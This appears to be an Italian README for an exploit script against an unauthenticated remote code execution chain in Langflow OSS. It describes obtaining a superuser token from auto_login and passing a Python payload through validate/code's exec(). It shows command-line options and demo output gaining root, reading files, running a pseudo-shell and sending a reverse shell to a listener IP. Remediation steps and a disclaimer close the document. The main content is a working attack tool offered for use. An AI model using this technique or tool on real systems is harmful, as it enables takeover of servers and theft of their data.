CVE-2026-9198 — RCE non autenticata in Langflow OSS

Esecuzione remota di codice non autenticata in IBM Langflow OSS (1.0.0 – 1.10.0) su un deployment predefinito. Concatena due vulnerabilità:

• CVE-2026-9103 — GET /api/v1/auto_login genera un JWT SUPERUSER per qualsiasi chiamante senza credenziali ogni volta che AUTO_LOGIN è abilitato (l'impostazione predefinita in Langflow < 1.5).
• CVE-2026-8481 — POST /api/v1/validate/code passa codice Python fornito dall'utente a exec() senza sandbox.

Insieme (CVE-2026-9198) un attaccante non autenticato ottiene l'esecuzione di codice come utente del servizio Langflow — che spesso è root.

Cosa fa

1. Richiede un bearer token da superuser a /api/v1/auto_login (senza autenticazione).

2. Invia un payload a /api/v1/validate/code. L'endpoint esegue exec() sul codice per "validarlo"; Python valuta i valori degli argomenti predefiniti al momento della definizione, quindi il payload viene racchiuso in un argomento predefinito di una funzione:

   def _v(a=exec('<payload>')): pass
   

   Per l'esecuzione di comandi il payload solleva un'eccezione il cui messaggio è l' output del comando, che l'endpoint riflette nella risposta (function.errors[]).

Utilizzo

./exploit.py -t <target> [options]

  -t, --target     target host/IP (or full URL)          (required)
  -p, --port       Langflow port                          (default 7860)
  -c, --cmd        run a single shell command, print output
      --shell      interactive pseudo-shell (each line runs via the RCE)
      --lhost      reverse-shell listener IP
      --lport      reverse-shell listener port            (default 4444)
  -k, --token      use this bearer token (skip auto_login)
      --timeout    HTTP timeout in seconds                (default 20)
      --no-banner  suppress the banner
  -h, --help       show help

Demo

$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
  auto_login (superuser token) -> validate/code (exec)

[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.

Requisiti

• Python 3.6+ (solo libreria standard — nessun pip install necessario)

Note

• Funziona solo mentre AUTO_LOGIN è abilitato (l'impostazione predefinita per Langflow < 1.5; su >= 1.5 deve essere esplicitamente LANGFLOW_AUTO_LOGIN=true). Se auto_login non restituisce alcun token, il target non è sfruttabile tramite questo percorso — fornisci un token valido con -k se ne possiedi uno.
• L'output del comando viene restituito nella risposta function.errors[]; stderr è unito a stdout così i comandi falliti mostrano comunque il loro errore.
• Il codice viene eseguito come utente del servizio Langflow. Se questo è root (comune con langflow run eseguito direttamente sotto systemd/Docker come root), si tratta di root diretto sull'host.

Remediation

• Aggiorna Langflow oltre l'intervallo interessato; validate/code non deve eseguire exec() su input non attendibile e auto_login non deve generare token da superuser.
• Imposta LANGFLOW_AUTO_LOGIN=false e configura credenziali superuser reali.
• Non eseguire mai il servizio Langflow come root.

Disclaimer

Questo progetto è pubblicato esclusivamente per test di sicurezza autorizzati e scopi educativi. Non utilizzarlo contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione al test. L'autore non si assume alcuna responsabilità per usi impropri.